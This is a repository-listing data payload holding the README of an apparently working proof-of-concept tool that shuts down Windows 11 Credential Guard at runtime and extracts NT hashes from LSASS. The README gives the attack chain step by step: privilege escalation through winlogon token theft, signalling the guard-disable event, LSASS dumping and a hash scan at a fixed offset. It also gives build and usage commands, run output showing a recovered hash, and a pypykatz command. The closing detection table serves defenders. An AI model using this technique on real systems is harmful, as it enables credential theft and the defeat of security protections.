[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-105299":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":14,"subscribersCount":14,"size":14,"stars1d":15,"stars7d":15,"stars30d":15,"stars90d":14,"forks30d":14,"starsTrendScore":16,"compositeScore":17,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":18,"fork":18,"defaultBranch":19,"hasWiki":20,"hasPages":18,"topics":21,"createdAt":9,"pushedAt":9,"updatedAt":22,"readmeContent":23,"aiSummary":9,"trendingCount":14,"starSnapshotCount":14,"syncStatus":24,"lastSyncTime":25,"discoverSource":26},105299,"CredGuardRuntimeShutdown","S12cybersecurity\u002FCredGuardRuntimeShutdown","S12cybersecurity","Runtime Credential Guard deactivation via \\\\LSA_ISO_DISABLE_CREDENTIAL_GUARD + LSASS NT hash extraction (Win11 24H2)",null,"C",77,14,51,0,6,18,52.04,false,"main",true,[],"2026-11-01 00:13:52","# Cred Guard Runtime Shutdown\nRuntime Credential Guard deactivation via `\\LSA_ISO_DISABLE_CREDENTIAL_GUARD` + LSASS NT hash extraction (Win11 24H2)\n\n---\n\n## Overview\n\n`LsaIso.exe` contains a thread, `DisableCredGuardWaitThread` that blocks on the named kernel event `\\LSA_ISO_DISABLE_CREDENTIAL_GUARD`. Signaling it tears down the CredGuard credential provider at runtime, without a reboot, without a kernel driver.\n\nThe event DACL restricts `EVENT_MODIFY_STATE` to SYSTEM. The PoC reaches SYSTEM from a high integrity admin process by stealing and impersonating the token of `winlogon.exe` via `DuplicateTokenEx` + `ImpersonateLoggedOnUser`.\n\nAfter a 3 second teardown window, any new interactive logon session materializes its NT hash in plain VTL0 LSASS memory. The PoC creates a test session via `LogonUserA` and scans LSASS for the hash at the Win11 24H2 `MSV1_0_PRIMARY_CREDENTIAL` offset `+0x1F6`\n\n```\nSeDebugPrivilege\n    |\nOpenProcess(winlogon) --> DuplicateTokenEx --> ImpersonateLoggedOnUser\n    |\nNtOpenEvent(\\LSA_ISO_DISABLE_CREDENTIAL_GUARD) --> NtSetEvent\n    |\nRevertToSelf -- Sleep(3s)\n    |\nLogonUserA --> OpenProcess(lsass) --> scan for NT hash at +0x1F6\n```\n\n---\n\n## Requirements\n\n- Windows 11 24H2 (build 26200) with VBS + Credential Guard active\n- High integrity admin process (for `SeDebugPrivilege`)\n- No kernel driver required\n\n---\n\n## Build\n\n```\ngcc -o credguard_poc.exe credguard_poc.c -lntdll -lwincrypt -ldbghelp\n```\n\n---\n\n## Usage\n\n```\ncredguard_poc.exe \u003Cuser> \u003Cdomain> \u003Cpassword>\n```\n\nDefault values if no arguments are passed: `sshuser` `.` `password`.\n\nThe account must exist on the target machine. `LogonUserA` creates the post-shutdown session whose hash will appear in LSASS.\n\n---\n\n## Proof of Concept\n\n```\nC:\\Users\\sshusers\\Downloads>\"credguard_poc (1).exe\"\n=== credguard_poc.exe (Win11 24H2 \u002F build 26200) ===\n\n[Stage 0] Elevate privileges + impersonate SYSTEM\n    [+] SeDebugPrivilege enabled\n    [+] Thread impersonating SYSTEM via winlogon.exe (PID 720)\n\n[Stage 1] Signal LSA_ISO_DISABLE_CREDENTIAL_GUARD (as SYSTEM)\n    [+] NtSetEvent -> STATUS_SUCCESS (prev state=0)\n\n[Stage 0b] Revert SYSTEM impersonation\n    [+] Reverted to process token\n\n[Stage 2] Waiting for Credguard teardown\n    [~] Sleeping 3s for DisableCredGuardWaitThread to complete...\n    [+] Resumed TCB CredGuard should be OFF (verify: WMI Win32_DeviceGuard.SecurityServicesRunning == 0)\n\n[Stage 3] SeDebugPrivilege (enabled in Stage 0 TCB still active on process token)\n\n[Stage 4] Creating interactive logon session (user=sshusers domain=.)\n    [+] New interactive session LUID = {0x00000000, 0x003B50BB}\n\n[Stage 6] Opening lsass\n    [+] lsass PID = 816\n    [+] Opened lsass handle\n\n[Stage 7] MiniDumpWriteDump -> C:\\Windows\\Temp\\lsass_post.dmp\n    [+] Dump written TCB analyze offline: pypykatz lsa minidump lsass_post.dmp\n\n[Stage 8] Computing NT hash and scanning lsass\n\n[Stage 8] Scanning lsass memory for NT hash\n    [*] MD4(UTF-16LE(pass)) = 8846f7eaee8fb117ad06bdd830b7586c\n    [*] NT hash @ VA 0x000001EF5E6CD127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E6CCF31)\n        NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c\n        UserName (+0x18E) :\n    [*] NT hash @ VA 0x000001EF5E75E127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E75DF31)\n        NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c\n        UserName (+0x18E) :\n    [+] 2 hit(s) TCB NT hash accessible in VTL0 after CredGuard shutdown!\n\n[done]\n```\n\n---\n\n## Notes\n\n- The named event disappears after teardown. A second run on the same boot returns `STATUS_OBJECT_NAME_NOT_FOUND (0xC0000034)`: CG is already off.\n- Only sessions created **after** the shutdown are affected. Pre-existing sessions remain protected in VTL1.\n- The `+0x1F6` hash offset is specific to Win11 24H2 build 26200. Verify the layout with a kernel debugger before running against a different build.\n- A minidump via `MiniDumpWriteDump` is written to `C:\\Windows\\Temp\\lsass_post.dmp` as an offline fallback. The LUID→session→credentials pointer chain lives in a `MEM_MAPPED` region not captured by the dump, so pypykatz will not find the hash via the usual chain walk, use the direct scan instead.\n\n---\n\n## Detection\n\n| Indicator | Source |\n|---|---|\n| `NtOpenEvent` on `\\LSA_ISO_DISABLE_CREDENTIAL_GUARD` | ETW Security Auditing event 4656 (Audit Kernel Object) |\n| `OpenProcess(winlogon, PROCESS_QUERY_INFORMATION)` from non SYSTEM | Sysmon event 10 |\n| `Win32_DeviceGuard.SecurityServicesRunning` drops from `[1,2]` to `[2]` | WMI polling |\n| `LogonUserA` + `OpenProcess(lsass, VM_READ)` in same process | EDR behavioral correlation |\n\n---\n",2,"2026-10-31 04:26:22","CREATED_QUERY"]